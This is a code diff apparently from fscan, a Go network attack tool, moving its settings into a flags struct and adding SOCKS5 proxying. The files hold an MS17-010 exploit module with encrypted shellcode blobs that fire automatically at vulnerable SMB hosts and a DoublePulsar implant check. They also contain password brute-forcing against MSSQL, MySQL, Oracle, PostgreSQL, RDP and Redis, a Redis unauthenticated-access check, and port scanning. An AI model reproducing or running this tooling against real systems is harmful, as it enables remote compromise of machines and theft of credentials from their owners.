sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
|
||||
@ -33,16 +34,16 @@ func MS17010EXP(info *common.HostInfo) {
|
||||
sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
|
||||
sc = AesDecrypt(sc_enc, key)
|
||||
default:
|
||||
if strings.Contains(common.SC, "file:") {
|
||||
read, err := ioutil.ReadFile(common.SC[5:])
|
||||
if strings.Contains(flags.SC, "file:") {
|
||||
read, err := os.ReadFile(flags.SC[5:])
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", common.SC, err)
|
||||
errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", flags.SC, err)
|
||||
common.LogError(errlog)
|
||||
return
|
||||
}
|
||||
sc = fmt.Sprintf("%x", read)
|
||||
} else {
|
||||
sc = common.SC
|
||||
sc = flags.SC
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -5,9 +5,10 @@ import (
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
var (
|
||||
@ -23,11 +24,11 @@ var (
|
||||
trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key))
|
||||
)
|
||||
|
||||
func MS17010(info *common.HostInfo) error {
|
||||
if common.IsBrute {
|
||||
func MS17010(info common.HostInfo, flags common.Flags) error {
|
||||
if flags.IsBrute {
|
||||
return nil
|
||||
}
|
||||
err := MS17010Scan(info)
|
||||
err := MS17010Scan(info, flags)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
|
||||
common.LogError(errlog)
|
||||
@ -35,10 +36,10 @@ func MS17010(info *common.HostInfo) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func MS17010Scan(info *common.HostInfo) error {
|
||||
func MS17010Scan(info common.HostInfo, flags common.Flags) error {
|
||||
ip := info.Host
|
||||
// connecting to a host in LAN if reachable should be very quick
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
@ -48,7 +49,7 @@ func MS17010Scan(info *common.HostInfo) error {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return err
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return err
|
||||
@ -137,8 +138,8 @@ func MS17010Scan(info *common.HostInfo) error {
|
||||
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
defer func() {
|
||||
if common.SC != "" {
|
||||
MS17010EXP(info)
|
||||
if flags.SC != "" {
|
||||
MS17010EXP(info, flags)
|
||||
}
|
||||
}()
|
||||
// detect present of DOUBLEPULSAR SMB implant
|
||||
|
@ -3,22 +3,23 @@ package Plugins
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func MssqlScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
func MssqlScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||
if flags.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["mssql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := MssqlConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
flag, err := MssqlConn(info, user, pass, flags.Timeout)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
@ -27,7 +28,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) {
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * flags.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
@ -36,14 +37,14 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
func MssqlConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)
|
||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(timeout)*time.Second)
|
||||
db, err := sql.Open("mssql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
|
@ -3,22 +3,23 @@ package Plugins
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func MysqlScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
func MysqlScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||
if flags.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["mysql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := MysqlConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
flag, err := MysqlConn(info, user, pass, flags.Timeout)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
@ -27,7 +28,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) {
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * flags.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
@ -36,14 +37,14 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
func MysqlConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)
|
||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(timeout)*time.Second)
|
||||
db, err := sql.Open("mysql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
|
@ -3,22 +3,23 @@ package Plugins
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
_ "github.com/sijms/go-ora/v2"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
_ "github.com/sijms/go-ora/v2"
|
||||
)
|
||||
|
||||
func OracleScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
func OracleScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||
if flags.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["oracle"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := OracleConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
flag, err := OracleConn(info, user, pass, flags.Timeout)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
@ -27,7 +28,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) {
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * flags.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
@ -36,14 +37,14 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
func OracleConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
|
||||
db, err := sql.Open("oracle", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
|
@ -2,11 +2,12 @@ package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"sort"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
type Addr struct {
|
||||
@ -14,10 +15,10 @@ type Addr struct {
|
||||
port int
|
||||
}
|
||||
|
||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
func PortScan(hostslist []string, ports string, flags common.Flags) []string {
|
||||
var AliveAddress []string
|
||||
probePorts := common.ParsePort(ports)
|
||||
noPorts := common.ParsePort(common.NoPorts)
|
||||
noPorts := common.ParsePort(flags.NoPorts)
|
||||
if len(noPorts) > 0 {
|
||||
temp := map[int]struct{}{}
|
||||
for _, port := range probePorts {
|
||||
@ -29,18 +30,18 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
}
|
||||
|
||||
var newDatas []int
|
||||
for port, _ := range temp {
|
||||
for port := range temp {
|
||||
newDatas = append(newDatas, port)
|
||||
}
|
||||
probePorts = newDatas
|
||||
sort.Ints(probePorts)
|
||||
}
|
||||
workers := common.Threads
|
||||
workers := flags.Threads
|
||||
Addrs := make(chan Addr, len(hostslist)*len(probePorts))
|
||||
results := make(chan string, len(hostslist)*len(probePorts))
|
||||
var wg sync.WaitGroup
|
||||
|
||||
//接收结果
|
||||
// receive result
|
||||
go func() {
|
||||
for found := range results {
|
||||
AliveAddress = append(AliveAddress, found)
|
||||
@ -48,32 +49,35 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
}
|
||||
}()
|
||||
|
||||
//多线程扫描
|
||||
// multithreaded scan
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
for addr := range Addrs {
|
||||
PortConnect(addr, results, timeout, &wg)
|
||||
PortConnect(addr, common.Socks5{Address: flags.Socks5Proxy}, results, flags.Timeout, &wg)
|
||||
wg.Done()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
//添加扫描目标
|
||||
// add scan target
|
||||
for _, port := range probePorts {
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
Addrs <- Addr{host, port}
|
||||
}
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
close(Addrs)
|
||||
close(results)
|
||||
|
||||
return AliveAddress
|
||||
}
|
||||
|
||||
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
|
||||
func PortConnect(addr Addr, socks5Proxy common.Socks5, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
|
||||
host, port := addr.ip, addr.port
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), socks5Proxy, time.Duration(adjustedTimeout)*time.Second)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
@ -88,9 +92,9 @@ func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64
|
||||
}
|
||||
}
|
||||
|
||||
func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
|
||||
func NoPortScan(hostslist []string, ports string, flags common.Flags) (AliveAddress []string) {
|
||||
probePorts := common.ParsePort(ports)
|
||||
noPorts := common.ParsePort(common.NoPorts)
|
||||
noPorts := common.ParsePort(flags.NoPorts)
|
||||
if len(noPorts) > 0 {
|
||||
temp := map[int]struct{}{}
|
||||
for _, port := range probePorts {
|
||||
@ -102,12 +106,13 @@ func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
|
||||
}
|
||||
|
||||
var newDatas []int
|
||||
for port, _ := range temp {
|
||||
for port := range temp {
|
||||
newDatas = append(newDatas, port)
|
||||
}
|
||||
probePorts = newDatas
|
||||
sort.Ints(probePorts)
|
||||
}
|
||||
|
||||
for _, port := range probePorts {
|
||||
for _, host := range hostslist {
|
||||
address := host + ":" + strconv.Itoa(port)
|
||||
|
@ -3,22 +3,23 @@ package Plugins
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/lib/pq"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
_ "github.com/lib/pq"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func PostgresScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
func PostgresScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||
if flags.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["postgresql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
flag, err := PostgresConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
flag, err := PostgresConn(info, user, pass, flags.Timeout)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
@ -27,7 +28,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) {
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * flags.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
@ -36,13 +37,13 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
func PostgresConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
|
||||
db, err := sql.Open("postgres", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
|
@ -3,6 +3,13 @@ package Plugins
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/tomatome/grdp/core"
|
||||
"github.com/tomatome/grdp/glog"
|
||||
@ -13,12 +20,6 @@ import (
|
||||
"github.com/tomatome/grdp/protocol/t125"
|
||||
"github.com/tomatome/grdp/protocol/tpkt"
|
||||
"github.com/tomatome/grdp/protocol/x224"
|
||||
"log"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Brutelist struct {
|
||||
@ -26,11 +27,13 @@ type Brutelist struct {
|
||||
pass string
|
||||
}
|
||||
|
||||
func RdpScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
var sock5Proxy common.Socks5 = common.Socks5{Address: ""}
|
||||
|
||||
func RdpScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||
if flags.IsBrute {
|
||||
return
|
||||
}
|
||||
|
||||
sock5Proxy = common.Socks5{Address: flags.Socks5Proxy}
|
||||
var wg sync.WaitGroup
|
||||
var signal bool
|
||||
var num = 0
|
||||
@ -46,9 +49,9 @@ func RdpScan(info *common.HostInfo) (tmperr error) {
|
||||
}
|
||||
}
|
||||
|
||||
for i := 0; i < common.BruteThread; i++ {
|
||||
for i := 0; i < flags.BruteThread; i++ {
|
||||
wg.Add(1)
|
||||
go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout)
|
||||
go worker(info.Host, flags.Domain, port, &wg, brlist, &signal, &num, all, &mutex, flags.Timeout)
|
||||
}
|
||||
|
||||
close(brlist)
|
||||
@ -107,13 +110,14 @@ func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool,
|
||||
}
|
||||
|
||||
type Client struct {
|
||||
Host string // ip:port
|
||||
tpkt *tpkt.TPKT
|
||||
x224 *x224.X224
|
||||
mcs *t125.MCSClient
|
||||
sec *sec.Client
|
||||
pdu *pdu.Client
|
||||
vnc *rfb.RFB
|
||||
Host string // ip:port
|
||||
proxy common.Socks5
|
||||
tpkt *tpkt.TPKT
|
||||
x224 *x224.X224
|
||||
mcs *t125.MCSClient
|
||||
sec *sec.Client
|
||||
pdu *pdu.Client
|
||||
vnc *rfb.RFB
|
||||
}
|
||||
|
||||
func NewClient(host string, logLevel glog.LEVEL) *Client {
|
||||
@ -125,8 +129,12 @@ func NewClient(host string, logLevel glog.LEVEL) *Client {
|
||||
}
|
||||
}
|
||||
|
||||
func (g *Client) setProxy(proxy common.Socks5) {
|
||||
g.proxy = proxy
|
||||
}
|
||||
|
||||
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, sock5Proxy, time.Duration(timeout)*time.Second)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
@ -187,7 +195,7 @@ func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
||||
glog.Info("on update:", rectangles)
|
||||
})
|
||||
g.pdu.On("done", func() {
|
||||
if breakFlag == false {
|
||||
if !breakFlag {
|
||||
breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
|
@ -3,11 +3,12 @@ package Plugins
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
var (
|
||||
@ -15,19 +16,19 @@ var (
|
||||
dir string
|
||||
)
|
||||
|
||||
func RedisScan(info *common.HostInfo) (tmperr error) {
|
||||
func RedisScan(info *common.HostInfo, flags common.Flags) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
flag, err := RedisUnauth(info)
|
||||
if flag == true && err == nil {
|
||||
flag, err := RedisUnauth(info, flags)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
}
|
||||
if common.IsBrute {
|
||||
if flags.IsBrute {
|
||||
return
|
||||
}
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
||||
flag, err := RedisConn(info, pass)
|
||||
if flag == true && err == nil {
|
||||
flag, err := RedisConn(info, flags, pass)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
|
||||
@ -36,7 +37,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * flags.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
@ -44,10 +45,10 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
||||
func RedisConn(info *common.HostInfo, flags common.Flags, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
@ -56,7 +57,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
@ -79,15 +80,15 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
||||
result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
